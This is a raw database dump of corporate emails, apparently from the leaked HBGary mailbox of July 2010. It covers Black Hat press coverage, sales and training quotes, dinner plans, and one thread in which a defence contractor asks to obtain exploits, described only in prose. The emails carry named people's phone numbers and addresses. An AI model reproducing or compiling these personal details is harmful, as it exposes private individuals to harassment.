Fingerprints\r\nhttp://mobile.eweek.com/18991/show/020d4d3beceec7e7c53bffd70e86043f&amp;t=d5872d7ee6420a41c6e1f85c3dce9a1b\r\n\r\n \r\n \r\nNetwork World*\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.networkworld.com/news/2010/071910-black-hat-fingerprint.html\r\n \r\n \r\nHelpNet Security\r\nHacker Fingerprints -- The Future of Malware Detection?\r\nhttp://www.net-security.org/malware_news.php?id=1406\r\n \r\nBLog: What I am seeing at BlackHat by Jon Larimer\r\nhttp://blogs.iss.net/archive/jlbh2010.html\r\n \r\nThreatpost\r\nResearcher To Release Hacker Footprint\r\nhttp://threatpost.com/en_us/category/article-tags/hbgary\r\n \r\nTechWorld\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.techworld.com.au/article/353679/black_hat_talk_reveal_analysis_hacker_fingerprints\r\n\r\n \r\nChannelInsider \r\nTracing Digital Fingerprints in Malware\r\nhttp://www.channelinsider.com/c/a/Security/Tracing-Digital-Fingerprints-in-Malware/\r\n \r\nCIOInsight\r\nDigital Fingerprints Track Malware Authors\r\nhttp://www.cioinsight.com/c/a/Security/Digital-Fingerprints-Track-Malware-Authors/\r\n \r\nBaselineMag\r\nNew Tool Tracks Malware Authors Digital Fingerprints\r\nhttp://www.baselinemag.com/c/a/Security/New-Tool-Tracks-Malware-Authors-Digital-Fingerprints/\r\n\r\n \r\nWindows7Forum\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://windows7forums.com/security-zone/46165-black-hat-talk-reveal-analysis-hacker-fingerprints.html\r\n\r\n \r\nHackerJournals\r\nBlackHat Speaker Looks At Hacker Fingerprint Analysis \r\nhttp://www.hackerjournals.com/?p=11455\r\n \r\nCNET\r\nResearcher Fingerprints Bad Guys Behind the Malware\r\nhttp://forums.cnet.com/5208-6132_102-0.html?threadID=398763\r\n \r\nCIO\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.cio.de/news/cio_worldnews/2240846/index.html\r\n \r\neWeek Europe\r\nDigital Fingerprints Can Expose Malware Developers\r\nhttp://www.silobreaker.com/digital-fingerprints-can-expose-malware-developers-5_2263532724813824078\r\n\r\n \r\nHackInTheBox\r\nhttp://hackinthebox.org/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=37108&amp;mode=thread&amp;order=0&amp;thold=0 \r\n\r\n \r\nWayBeta\r\nhttp://www.waybeta.com/news/27742/malicious-program-has-quotfingerprintquot-or-uncovered-_-behind-the-scenes-of-system-security/\r\n\r\n \r\nICTMag.com\r\n\r\nTracking Malware Authors Digital Fingerprints\r\nhttp://www.ictmag.info/tag/ceo-greg-hoglund/\r\n \r\nBlog:DescentIntoDarkness\r\nhttp://descentintodarkness.wordpress.com/2010/06/23/\r\n \r\nVRYTek Hosting News\r\nhttp://www.vrytek.com/researcher-fingerprints-the-bad-guys-behind-the-malware/\r\n \r\n \r\nAntispyware News\r\nhttp://antispywarenews.info/blogs/exe-antivirus/307852/help-line-it-s-suspicious-not/\r\n \r\nEnterpriseTechBrief\r\nhttp://www.enterprisetechbrief.com/c/a/Security/Tracking-Malware-Authors-Digital-Fingerprints-/\r\n\r\n \r\nBlog\r\nhttp://acherelarisshei.blogspot.com/2010_06_01_archive.html\r\n',10730,'aaron_hbgary_com/10730.html'),(9137,'2010-07-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007052.M665920P14101Q3992.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Mitre','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMost recently it has been Drew Hunt and Dan\r\nGottiovi.  They wanted to do a study involving AD, but it didn’t involve any\r\nmoney so I didn’t cooperate.  I wonder if I should just let these guys get the\r\ns/w.\r\n\r\n&nbsp;\r\n\r\nI’ve had other conversations with MITRE people over the years,\r\nbut never got anywhere with them.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 5:14 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Mitre\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n?\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Penny\r\nLeavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: July 21, 2010 3:23:59 PM EDT\r\nTo: &quot;\'Aaron Barr\'&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Mitre\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob has dealt with them, not\r\nsure who though\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 12:23 PM\r\nTo: Penny Leavy\r\nSubject: Mitre\r\n\r\nHave I dealt with them if so who?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/3008 - Release Date: 07/21/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8777,'aaron_hbgary_com/8777.html'),(9138,'2010-07-26','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297007052.M907213P14101Q3993.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Black Hat Talk Coverage To Date','Thanks Greg. HBGary rocks -&gt; that&#39;s why we are getting such great coverage. Great momentum going into Black Hat.\r\nOn Sun, Jul 25, 2010 at 4:59 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nWell, that&#39;s because Karen Rocks.  \r\n \r\n-Greg\r\n\r\n\r\n\r\nOn Sun, Jul 25, 2010 at 1:53 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\n FYI Black Hat just posted all the coverage it is getting via Facebook. If you look at the coverage, most of it has to do with Greg&#39;s talk https://www.blackhat.com/html/bh-us-10/bh-us-10-press.html\r\n\r\n \r\nhttp://seclists.org/isn/2010/Jul/66\r\n \r\nhttp://djtechnocrat.blogspot.com/2010/06/researcher-fingerprints-bad-guys-behind.html\r\n\r\n\r\n\r\n\r\nOn Wed, Jul 21, 2010 at 1:59 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\nThis is just to give you an idea of breadth of coverage to date. Greg, please let me know what works for VentureBeat for Friday. Lots of Chinese coverage too; I didn&#39;t cover here.\r\n \r\nDark Reading\r\nResearcher &#39;Fingerprints&#39; the Bad Guys Behind The Malware\r\nhttp://www.darkreading.com/database_security/security/intrusion-prevention/showArticle.jhtml?articleID=225700716&amp;queryText=hbgary\r\n\r\n \r\neWeek\r\nTracking Malware Authors Digital Fingerprints\r\nhttp://mobile.eweek.com/18991/show/020d4d3beceec7e7c53bffd70e86043f&amp;t=d5872d7ee6420a41c6e1f85c3dce9a1b\r\n\r\n \r\n \r\nNetwork World*\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.networkworld.com/news/2010/071910-black-hat-fingerprint.html\r\n \r\n \r\nHelpNet Security\r\nHacker Fingerprints -- The Future of Malware Detection?\r\nhttp://www.net-security.org/malware_news.php?id=1406\r\n \r\nBLog: What I am seeing at BlackHat by Jon Larimer\r\nhttp://blogs.iss.net/archive/jlbh2010.html\r\n \r\nThreatpost\r\nResearcher To Release Hacker Footprint\r\nhttp://threatpost.com/en_us/category/article-tags/hbgary\r\n \r\nTechWorld\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.techworld.com.au/article/353679/black_hat_talk_reveal_analysis_hacker_fingerprints\r\n\r\n \r\nChannelInsider \r\nTracing Digital Fingerprints in Malware\r\nhttp://www.channelinsider.com/c/a/Security/Tracing-Digital-Fingerprints-in-Malware/\r\n \r\nCIOInsight\r\nDigital Fingerprints Track Malware Authors\r\nhttp://www.cioinsight.com/c/a/Security/Digital-Fingerprints-Track-Malware-Authors/\r\n \r\nBaselineMag\r\nNew Tool Tracks Malware Authors Digital Fingerprints\r\nhttp://www.baselinemag.com/c/a/Security/New-Tool-Tracks-Malware-Authors-Digital-Fingerprints/\r\n\r\n \r\nWindows7Forum\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://windows7forums.com/security-zone/46165-black-hat-talk-reveal-analysis-hacker-fingerprints.html\r\n\r\n \r\nHackerJournals\r\nBlackHat Speaker Looks At Hacker Fingerprint Analysis \r\nhttp://www.hackerjournals.com/?p=11455\r\n \r\nCNET\r\nResearcher Fingerprints Bad Guys Behind the Malware\r\nhttp://forums.cnet.com/5208-6132_102-0.html?threadID=398763\r\n \r\nCIO\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.cio.de/news/cio_worldnews/2240846/index.html\r\n \r\neWeek Europe\r\nDigital Fingerprints Can Expose Malware Developers\r\nhttp://www.silobreaker.com/digital-fingerprints-can-expose-malware-developers-5_2263532724813824078\r\n\r\n \r\nHackInTheBox\r\nhttp://hackinthebox.org/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=37108&amp;mode=thread&amp;order=0&amp;thold=0 \r\n\r\n \r\nWayBeta\r\nhttp://www.waybeta.com/news/27742/malicious-program-has-quotfingerprintquot-or-uncovered-_-behind-the-scenes-of-system-security/\r\n\r\n \r\nICTMag.com\r\n\r\nTracking Malware Authors Digital Fingerprints\r\nhttp://www.ictmag.info/tag/ceo-greg-hoglund/\r\n \r\nBlog:DescentIntoDarkness\r\nhttp://descentintodarkness.wordpress.com/2010/06/23/\r\n \r\nVRYTek Hosting News\r\nhttp://www.vrytek.com/researcher-fingerprints-the-bad-guys-behind-the-malware/\r\n \r\n \r\nAntispyware News\r\nhttp://antispywarenews.info/blogs/exe-antivirus/307852/help-line-it-s-suspicious-not/\r\n \r\nEnterpriseTechBrief\r\nhttp://www.enterprisetechbrief.com/c/a/Security/Tracking-Malware-Authors-Digital-Fingerprints-/\r\n\r\n \r\nBlog\r\nhttp://acherelarisshei.blogspot.com/2010_06_01_archive.html\r\n\r\n',11020,'aaron_hbgary_com/11020.html'),(9139,'2010-07-26','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007053.M147456P14101Q3994.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Followup','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nSorry about the delay in response.&nbsp; Buried.\r\n\r\nGive me a holler today TMC.&nbsp; I will be working on proposals but\r\nwill check back .\r\n\r\n&nbsp;\r\n\r\nCan you send me the list of exploits?&nbsp; I can&#8217;t find your\r\nprevious email.\r\n\r\n&nbsp;\r\n\r\nAlso, has Greg done anything to flush out his new concept that\r\nyou had mentioned before?&nbsp; It may be of benefit to discuss but it has to be\r\ndone today as stuff is due tomorrow.&nbsp; J\r\n\r\n&nbsp;\r\n\r\nStill on for dinner on Wednesday?\r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 23, 2010 10:46 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: Followup\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Brian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI just pinged Ted. &nbsp;Let me know if you have any\r\nquestions on the tool. &nbsp;That is the exact copy that will be released to\r\nthe public next week. &nbsp;One thing of note that I did not clearly appreciate\r\nwhen we talked. &nbsp;While you can run the tool against static binaries, we\r\nget much better results if you run them against memory snapshots. &nbsp;This\r\nmay cause some problems in getting to the volume of data you have from CMU\r\nsince you don\'t have a TMC to volume process the malware. &nbsp;Maybe we can\r\ntalk briefly about this and what some potential work arounds might be.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre you looking at a particular piece of exploit we had on\r\nthe shelf?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 23, 2010, at 7:50 AM, Masterson, Brian M (XETRON)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nStill have\r\nnot gotten the\r\naddress from Ted.\r\n\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh:\r\n513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Wednesday, July 21, 2010 8:49 AM\r\nTo: Aaron Barr\r\nSubject: Followup\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFollowup from yesterday:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAddress to ship drive to\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFingerprint tool to run on CMU\r\nmalware data\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAlso, can I still get an\r\nexploit from you?\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, Cyber Solutions\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12537,'aaron_hbgary_com/12537.html'),(9140,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007054.M133063P14101Q3995.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,brian_n._christos@oa.eop.gov,\"Penny Leavy\" <penny@hbgary.com>','Updated Invitation: Brian Christos cell 703-300-1597- Greg Hoglund 	Dinner Mee... @ Wed Jul 28 10pm - Thu Jul 29, 2010 12am (aaron@hbgary.com)','This event has been changed. more details &raquo;Changed: Brian Christos  cell 703-300-1597- Greg Hoglund Dinner Meeting Penny cell phone 408-316-8002 WhenWed Jul 28 10pm – Thu Jul 29, 2010 12am Eastern TimeWhereChanged: Palm Restaurant near Caesars   (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;Greg Hoglund&#x2022;Aaron Barr&#x2022;brian_n._christos@oa.eop.gov&#x2022;Penny LeavyGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',12484,'aaron_hbgary_com/12484.html'),(9141,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007054.M982522P14101Q3996.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Brian Christos confirmed','Brian Christos is confirmed for dinner Wed. He told me he is meeting with NetWitness and HBGary.  He likes the NetWitness product a lot but it is some work to integrate it into their workflow.  He is looking forward to learning more about HBGary products and working with them.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',14228,'aaron_hbgary_com/14228.html'),(9142,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007055.M432142P14101Q3997.eml','\"Aaron Barr\" <aaron@hbgary.com>','EOP Brian Christos and Training','Hi Aaron\r\n \r\nI informed Brian that you are doing social engineering training and that you may bring it up at dinner at Black Hat -- not even sure if you will attend.  I know that Greg and Penny will be focused on Active Defense and qualifying a pilot etc. so it may make sense to schedule a meeting after BlackHat to review training as a separate opportunity.  I suspect that Brian won&#39;t be involved with training but can tell us who in the organization to contact and maybe provide the referral.\r\n\r\n \r\nIt would be great to have course outlines etc.\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',14286,'aaron_hbgary_com/14286.html'),(9143,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007055.M812150P14101Q3998.eml','\"Brian Coulson\" <bcoulson@digitalglobe.com>,\"Brian Coulson\" <bcoulson@digitalglobe.com>,','Re: Portal','Hi Brian\r\n \r\nHave you received your product key?\r\n \r\nMaria\r\nOn Fri, Jul 23, 2010 at 11:14 AM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt; wrote:\r\nTed,Thank you again! I also received a message from Charles too. I justinstalled the product and have my machine ID. I just emailed Charles\r\nasking if he can provide a product key based on Machine ID c590b91f.Sincerely,Brian Coulson\r\n\r\n\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Wednesday, July 21, 2010 11:46 AMTo: Brian CoulsonCc: Barr Aaron; Lucas Maria\r\nSubject: PortalHello Brian,Charles has updated your portal account so you should now be able todownload Responder Pro.Nice talking with you. Aaron and I will develop a quote for thetraining.\r\nRegards,TedThis electronic communication and any attachments may contain confidential and proprietaryinformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee\r\nresponsible for delivering this communication to the intended recipient, or if you have receivedthis communication in error, please do not print, copy, retransmit, disseminate orotherwise use the information. Please indicate to the sender that you have received this\r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves theright to monitor any electronic communication sent or received by its employees, agentsor representatives.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',564,'aaron_hbgary_com/564.html'),(9144,'2010-07-26','\"Brian Coulson\" <bcoulson@digitalglobe.com>','/aaron@hbgary.com/new/1297007056.M104054P14101Q3999.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','RE: Portal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\n&nbsp;\r\n\r\nHi! I don&#8217;t believe I have yet.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Monday, July 26, 2010 7:53 AM\r\nTo: Brian Coulson\r\nCc: Ted Vera; Barr Aaron\r\nSubject: Re: Portal\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Brian\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave you received your product key?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 23, 2010 at 11:14 AM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt;\r\nwrote:\r\n\r\nTed,\r\n\r\nThank you again! I also received a message from Charles too. I just\r\ninstalled the product and have my machine ID. I just emailed Charles\r\nasking if he can provide a product key based on Machine ID c590b91f.\r\n\r\nSincerely,\r\nBrian Coulson\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, July 21, 2010 11:46 AM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Lucas Maria\r\nSubject: Portal\r\n\r\nHello Brian,\r\n\r\nCharles has updated your portal account so you should now be able to\r\ndownload Responder Pro.\r\n\r\nNice talking with you. Aaron and I will develop a quote for the\r\ntraining.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication\r\nand any attachments may contain confidential and proprietary\r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an\r\nagent or employee\r\nresponsible for delivering this communication to the intended recipient, or if\r\nyou have received\r\nthis communication in error, please do not print, copy, retransmit, disseminate\r\nor\r\notherwise use the information. Please indicate to the sender that you have\r\nreceived this\r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves\r\nthe\r\nright to monitor any electronic communication sent or received by its\r\nemployees, agents\r\nor representatives.\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1540,'aaron_hbgary_com/1540.html'),(9145,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007056.M420459P14101Q4000.eml','\"Brian Coulson\" <bcoulson@digitalglobe.com>,\"Brian Coulson\" <bcoulson@digitalglobe.com>,','Re: Portal','Hi Brian\r\n \r\nI will confirm that you will get your key this morning...\r\n \r\nMaria\r\nOn Mon, Jul 26, 2010 at 7:12 AM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt; wrote:\r\n\r\n\r\n\r\nMaria,\r\n \r\nHi! I don’t believe I have yet.\r\n \r\nThanks!\r\n \r\nSincerely,\r\nBrian Coulson\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Monday, July 26, 2010 7:53 AM\r\nTo: Brian CoulsonCc: Ted Vera; Barr AaronSubject: Re: Portal\r\n\r\n\r\n\r\n \r\n\r\nHi Brian\r\n\r\n \r\n\r\nHave you received your product key?\r\n\r\n \r\n\r\nMaria\r\n\r\nOn Fri, Jul 23, 2010 at 11:14 AM, Brian Coulson &lt;bcoulson@digitalglobe.com&gt; wrote:\r\nTed,Thank you again! I also received a message from Charles too. I justinstalled the product and have my machine ID. I just emailed Charlesasking if he can provide a product key based on Machine ID c590b91f.\r\nSincerely,Brian Coulson\r\n\r\n\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Wednesday, July 21, 2010 11:46 AM\r\nTo: Brian CoulsonCc: Barr Aaron; Lucas MariaSubject: PortalHello Brian,Charles has updated your portal account so you should now be able todownload Responder Pro.Nice talking with you. Aaron and I will develop a quote for the\r\ntraining.Regards,Ted\r\nThis electronic communication and any attachments may contain confidential and proprietaryinformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee\r\nresponsible for delivering this communication to the intended recipient, or if you have receivedthis communication in error, please do not print, copy, retransmit, disseminate orotherwise use the information. Please indicate to the sender that you have received this\r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves theright to monitor any electronic communication sent or received by its employees, agentsor representatives.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',106,'aaron_hbgary_com/106.html'),(9146,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007056.M685632P14101Q4001.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: DigitalGlobe','Hi Ted\r\n \r\nCan you send me the course outlines?\r\n \r\nDepending on how the courses connect you may have a 1 day, 2 day and 3 day price so they get a discount if they take all three.\r\n \r\nThere are 2 approaches to quoting training\r\n \r\nQuote list price and include a standard volume discount and then they will typically tell you their training budget  OR\r\nAsk what their total budget is and then design the training to fit the budget and target a profit.\r\n \r\nDon&#39;t know if I understand your proposed pricing: 60 class days x $500 = $30,000 and $500 per additional class day up to 50 students?.  After 20 students they will expect a volume discount do you mean an additional $500 for 3 days?  Also can you manage 50 students or do you want to put a cap on that?  \r\n\r\n.\r\n \r\nRegarding commissions. For open enrollment training HBGary give a $100 fee per class per person.  Industry standard for selling on-site training is 10% off revenues or 20% off net.\r\nOn Thu, Jul 22, 2010 at 9:04 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Maria, \r\n\r\nOur discussion with Brian went well yesterday.  He is interested in our Social Media training.  He would like a quote for three classes, one class a day for three consecutive days.  He anticipates 20 per class, but it could go up to as many as 50 per class.  Aaron and I had $750-$1000 per student in mind for &quot;normal&quot; pricing on this class.\r\n\r\n\r\nFor Brian, we are thinking about sending a quote for $30,000.00.  $500/student, 3 classes, 20 students per class.  We will note on the estimate that we&#39;ll keep a headcount/sign-in roster and if more than 20 show we will charge $500 for each additional student.\r\n\r\n\r\nWhat do you think of this pricing?  Too high? Too low?  Do you think it is in line with Brian&#39;s budget?  Also, we never fully discussed your commission.  What are your expectations, what is standard commission for training?\r\n\r\n\r\nThanks for the introduction and your help.\r\n\r\nRegards,\r\nTed-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',874,'aaron_hbgary_com/874.html'),(9147,'2010-07-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007056.M902153P14101Q4002.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Updated DRAFT Quote','Attached.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9856,'aaron_hbgary_com/9856.html'),(9148,'2010-07-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007057.M184211P14101Q4003.eml','\"Maria Lucas\" <maria@hbgary.com>','Fwd: Updated DRAFT Quote','Please see attached draft.  Maria, what do you think?\r\n\r\nBrian wanted flexible pricing to accomodate for an unknown number of\r\nstudents.  He stated the minimum to be 20 per day, for three\r\nconsecutive days, max of 50 per day.  Aaron do you feel comfortable\r\nwith 50, or do you want to cap it at XX?\r\n\r\nAaron and I are good with 10% commission on revenue.\r\n\r\nTed\r\n',11531,'aaron_hbgary_com/11531.html'),(9149,'2010-07-26','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297007057.M638499P14101Q4004.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>','Found it!','\r\n\r\n',3891,'aaron_hbgary_com/3891.html'),(9150,'2010-07-26','\"Danielle Stradford\" <danielle@executivebiz.com>','/aaron@hbgary.com/new/1297007057.M868407P14101Q4005.eml','aaron@hbgary.com','ExecutiveBiz 4x24 Information Request','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWe need some quick info from you regarding your 4x24\r\nmembership.\r\n\r\nAs part of your ExecutiveBiz 4x24 membership, you have TWO Associate\r\nmemberships (valued at $795 each) in the Potomac Officers Club (POC)&nbsp;to give out to colleagues that\r\nare qualified to attend our POC events. \r\n&nbsp;\r\nBy giving two of your colleagues\r\nthese Associate POC memberships, you are offering them the opportunity to\r\nparticipate in the lunch\r\nevents that we organize and run each year. It is an excellent way to recognize\r\nthe rising stars in your organization.\r\n\r\nYour Associate Members will appreciate this exclusive opportunity and enjoy\r\nparticipating because they will have the chance to meet other executives of\r\nconsequence. The POC organization is only open to qualified executives and\r\nconventional Service Providers 